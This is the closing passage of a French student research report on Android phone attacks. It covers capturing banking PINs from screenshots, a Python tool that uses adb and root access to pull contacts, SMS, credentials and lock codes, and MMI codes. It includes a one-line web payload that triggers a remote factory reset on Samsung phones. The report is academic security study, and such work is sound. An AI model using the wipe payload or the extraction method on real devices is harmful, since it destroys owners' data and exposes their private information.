25

Figure 1.5 – Selections de photos prises durant la capture

1.7.3 RésulatLors de la manipulation présentée, nous avons été en mesure de récupérer les identifiants saisis par

un utilisateur. Cette manipulation a eu un bon déroulement et il a été assez facile de récupérer le motde passe. Il est possible de rencontrer plus de difficultés. En effet nous avons observé un léger décallage(centaines de micros secondes), entre la date observée sur la trace des coordonnées et les photos. Celapeut être un peu génant mais après en effectuant plusieurs essais en considérant les instants mitoyens(plus ou moins une seconde), l’analyste parvient rapidement à obtenir le code.

Il serait possible de remplacer la fonction sleep() utilisée dans le programme d’orchestrage (dumplbp.c),par son accolyte usleep(), au risque d’au contraire ralentir le téléphone et rendre la capture alors plusdifficile.

1.7.4 Aller plus loin...Bien qu’il soit possible de réaliser une telle manipulation elle reste en pratique difficile à réaliser. Pourpropager un tel programme il serait possible de réaliser une application malveillante (application décom-pillée ayant subi une injection malveillante, recompilée puis redistribuée). Cependant selon le téléphone leclavier n’apparaît pas toujours au même Android (léger décallage selon le modèle). De ce fait cela limiteles possibilités d’une telle application.Il serait peut être bon que la firme La banque postale supprime la légère mise en surbrillance du contourdu chiffre saisie. Ce "bug" n’apparaît pas sur l’application de la société Crédit Agricole...

26

1.8 Interface graphique1.8.1 Visée de l’applicationDans le cadre de ce projet nous avons souhaité développer une interface graphique pour la soutance dece projet. Nous avons automatisé plusieurs des opérations présentées dans les sections précédentes. Nousavons réalisé cette application en langage Python, avec la librairie graphique Tkinter. La simplicité et larapidité de développement nous ont fait prendre cette décision. Après avoir trouvé comment automatisertoutes ces actions, il est rapide d’effectuer la même chose dans un langage tel que le Java.

Le but de ce programme est d’effectuer une attaque ciblée (ie. téléphone et ordinateur à disposition del’analyse) permettant de récupérer toutes les données présentées dans la section 2.1.L’analyste récupère alors l’ensemble des contacts, sms, mails, identifiants et mots de passes via les basesde données. Il pourra également retrouver le code de vérouillage de l’écran.

1.8.2 Quelques commentaires sur le codeLe code est assez basique. Un premier code gui.py crée la GUI qui permet de lancer des services mul-tithreadés. Le deuxième code scripts.py comporte l’ensemble des services. Ce dernier programme utilisel’objet os.system pour exécuter des commandes systèmes. Ces commandes systèmes sont des commandesshell utilisant l’outil Android Debug Bridge adb.

os. system (’sudo adb shell su -c "<command >"’)

Elles permettent essentiellement la récupération des bases de données.Nous avons utilisé le package sqlite3 pour effectuer les requètes auprès des bases de données.

Le logiciel permet de sauvegarder au format .txt l’ensemble des données extraites par l’utilisateur.

Pour la démonstration nous avons ajouté un menu qui permet de supprimer tous nos fichiers sur le télé-phone et d’en charger d’autres.

Ce menu permet également d’extraire toutes les données extraites des différents logiciels de capturesprésentés lors des sections 2.2 et 2.6. Cela s’avère pratique quand l’utilisateur veut récupérer l’ensembledes photos (pouvant être de plusieurs centaines) ayant pour nom de fichier l’instant de capture... Uneautre fonctionnalité permet de supprimer l’ensemble de ces données également.

Figure 1.6 – Aperçu du logiciel

27

1.8.3 Limites et AméliorationBien que ce programme soit adapté sur mesure pour le téléphone utilisé lors de la démonstration, surd’autres modèles il faudra sans doute adapter le code.

La faiblesse de ce programme est qu’il nécessite la commande su installé sur le téléphone (ie. téléphonerooté). De plus il faut que l’option Debug Bridge (Paramètres - Options de Développement) soit activéesur le téléphone, sans laquelle notre logiciel est stérile. Pour le rootage du téléphone l’utilisateur étantsensé avoir le téléphone en main, il pourra soit utiliser un exploit tel que présenté dans la section 2.1.1(Gingerbreak), soit sur des versions plus récentes passer par le FastBoot pour installer la commande sudans réinitialiser le téléphone.

Comme nous en avions discuté dans la section 2.1.3, la récupération des données utilisateurs automatiséepeut très bien être réalisée par une application malveillante. Etant donné que nous travaillions sur desattaques ciblées, il nous a paru plus intéressant de réaliser un tel logiciel, pour récupérer les données demanière instantannée avec le téléphone physiquement disponible. Cette attaque est intéressante car ellepeut être réalisée sans que le code PIN n’ait été saisi par l’utilisateur, et/ou sans que l’écran n’ait étédévérouillé. Il suffit donc que le téléphone soit allumé et bien sur qu’il ait l’option Debug Bridge activéeet qu’il soit rooté.

1.9 Commandes MMI1.9.1 Pourquoi cette étudeLes codes MMI sont accessibles en particulier par les services des constructeurs des mobiles pour desbesoins de maintenance, et aussi au grand public (même si cette manipulation n’est pas toujours conseilléecar très sensible). Certains codes MMI interagissent directement avec les systèmes de fichier. D’aprèsles informations que nous avons pu avoir, certains codes MMI sont propres au constructeur. Ces codespeuvent être utilisés à des fins malveillantes. Dans cette section nous allons présenter quelques utilisationsintéressantes.

Note : Les manipulations suivantes ont été réalisées sur le téléphone Samsung Nexus S

1.9.2 Dump de la RAM et d’autres informations sur la carte SDEn exécutant le code *#9900# ou *#*#9900#*#* sur l’interface graphique du mobile Android,nous obtenons plusieurs menus :

– Exécuter dumpstate/logcat : outil système permettant de vérifier l’intégrité des données d’un sys-tème.

– TCP Dump : c’est un analyseur de paquet, qui permet à l’utilisateur d’afficher des paquets transmissur un réseau. Ce fichier est protégé par une authentification OTP (one-time password). Nousn’avons pas réussi à utiliser cet outil.

–Nous trouverons donc que ce code est concentré sur les utilitaires dumpstate et logcat. Ces deux

derniers permettent d’effectuer un monitoring sur certains ports par exemple. Dans les traces obtenuesnous avons trouvé des adresses emails, la configuration des interfaces réseaux.

1.9.3 Reset de l’appareil et suppression les données utilisateursLe magazine MAGSECURS a publié le Lundi13mai2013 que le chercheur en sécurité Ravi Borgaonkara démontré lors de la conférence annuelle de sécurité la possibilité de supprimer toutes les données duGalaxy S III et S II à distance. Il explique que l’attaque peut être lancée à partir d’une page web quicharge un identifiant URI (identifiant uniforme de ressource) avec un code usine spécifique. Ainsi, lorsquele mobile se connecte à cette page, l’application s’exécute automatiquement et restaure les paramètresd’usine du téléphone sans demande de confirmation. Seule, Galaxy Jelly Bean (version 4.1 d’Android)n’est pas concernée par cette attaque. Le code MMI de réinitialisation peut être envoyé à l’utilisateur deplusieurs façons :

– Par SMS via un message push wap cliquable

28

– Via une page web à l’aide d’un iFrame et un code HTML. Par exemple, voici deux codes malicieuxqui pourraient se trouver dans une page web :

1 <script>document.location="tel:*2767*3855%23";</script>

Listing 1.22 – Code Java

29

Chapitre 2

Conclusion

Ce rapport illustre quelques attaques possibles, il en existe évidemment bien plus. Les utilisateursd’Android diffèrent en beaucoup de point d’un utilisateur Linux. Ils n’hésiteront pas à rooter leur té-léphone par exemple, ni à donner l’accès root à une application qu’ils ont téléchargée. C’est pourquoiAndroid devient une cible de plus en plus intéressante pour les attaquants. L’ensemble des codes sourcesn’a pas joint à ce document pour des raisons de contrôle de diffusion. Cependant ils peuvent être donnésà la demande à l’un des deux auteurs de ce document.

30

Chapitre 3

Références

Architecture Android - Site officiel du développement sous Android :http ://developer.android.com/about/versions/index.html

Android NDK - Site officiel du développement sous Android :http ://developer.android.com/tools/sdk/ndk/index.html MISC Magasine num. 63, Septembre/Oc-

tobre 2012 :Sécurité Android

Documentation officiel du Kernel :https ://www.kernel.org/doc/Documentation/

GingerBreak Site C-Skillhttp ://c-skills.blogspot.fr/2011/04/yummy-yummy-gingerbreak.html

31

Table des figures

1.1 HTC S-OFF . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 51.2 Communication entre RILD et Driver Radio . . . . . . . . . . . . . . . . . . . . . . . . . . 111.3 Man in the Midlle . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 121.4 Capture d’écran distante . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 201.5 Selections de photos prises durant la capture . . . . . . . . . . . . . . . . . . . . . . . . . 261.6 Aperçu du logiciel . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 27

32

Projet de-recherche-Tuteuré

Technology

Transcript of Projet de-recherche-Tuteuré